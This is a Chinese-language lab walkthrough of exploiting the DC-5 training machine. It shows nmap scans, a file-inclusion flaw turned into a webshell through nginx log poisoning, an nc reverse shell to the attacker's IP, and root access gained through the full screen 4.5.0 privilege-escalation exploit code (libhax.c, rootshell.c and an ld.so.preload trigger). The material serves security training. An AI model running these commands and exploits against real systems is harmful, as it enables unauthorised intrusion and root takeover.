一、实验环境
目标靶机:DC-5,NAT模式
攻击机:kali,NAT模式,IP:192.168.35.131
二、实验要求
拿到唯一的flag即算过关!
三、渗透过程
信息收集:
老一套先使用nmap进行存活主机的探测:
nmap -sP 192.168.35.0/24 -oN nmap.sV
拿到IP:192.168.35.152
进行端口扫描:
nmap -p 1-65535 -sV 192.168.35.152 -O -oN nmap.sV
使用浏览器访问80端口:
发现唯一一个动态页面,尝试提交一些东西:
发现参数是get方式提交的,不管提交啥都会跳转到thankyou.php页面,输出同样的内容,但是底部的年份会发生变化。
对页面进行爆破:
选择字典
成功爆破出几个页面:
访问之后发现footer.php页面有猫腻儿:
刷新年份会改变,盲猜thankyou页面包含了footer页面,接下来测试一下是否为动态包含
选择字典之后对其进行测试:
发现好多返回200的,页面都能正常加载(不管参数是啥返回结果都一样),没有得到有用的信息
这次我们设置两个变量再次进行测试:
这次终于发现了和刚才不一样的地方:
同一个参数出现了多次,而且后面的长度和第一次也有所区别。
我们来到页面验证我们的猜测:
猜中!说明存在文件包含漏洞
来看一看是否能够进行远程文件包含:
发现不行,这时候想到可以在日志文件中写入小马,然后进行连接
百度到nginx服务的日志路径为:
/var/log/nginx/error.log 错误日志文件
/var/log/nginx/access.log 访问日志文件
我们首先进行抓包,然后将一句话木马当成访问路径进行提交:
我们使用蚁剑进行连接(连接access日志):
连接之后我们可以在/tmp目录下新建一个小马文件,因为日志文件会不断增加,有时候太大了可能连接不上:
重新连接,感觉速度提升了不少!
之后我们要先获得一个比较稳定的shell
首先查看系统中有无nc命令:
发现存在,我们就可以使用nc反弹shell到本地:
nc -e /bin/bash 192.168.35.131 1234
使用nc在本地监听1234端口:
nc -nlvp 1234
注意:先监听,后反弹
使用python反弹一个交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
提权:
我们首先看一下有没有sudo命令:
没有,再看一下有无suid权限:
find / -perm 4000 2>/dev/null
发现有一个软件在执行的时候拥有suid权限:
查找screen-4.5.0有没有什么漏洞:
searchsploit screen 4.5.0
发现有漏洞,我们将exp下载到当前目录:
searchsploit -m linux/local/41154.sh
然后使用python开启一个web服务:
python -m SimpleHttpServer 80
将脚本文件下载到靶机中:
wget http://192.168.35.131/41154.sh
增加执行权限:
chmod +x 41154.sh
发现不能执行,可能是不能编译:
这时候我们可以打开这个脚本文件分析一下:
方法已经有了,既然在远程执行不了,我们在本地编译一下:
存储libhax.c文件:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
编译它(注意路径):
gcc -fPIC -shared -ldl -o libhax.so libhax.c
存储rootshell.c文件:
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译它:
gcc -o rootshell rootshell.c
保存dc-5.sh脚本文件:
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
然后再将这几个文件上传到靶机之中(使用wget的方式):
给dc-5一个执行权限,之后执行脚本:
直接拿到root权限:
渗透完成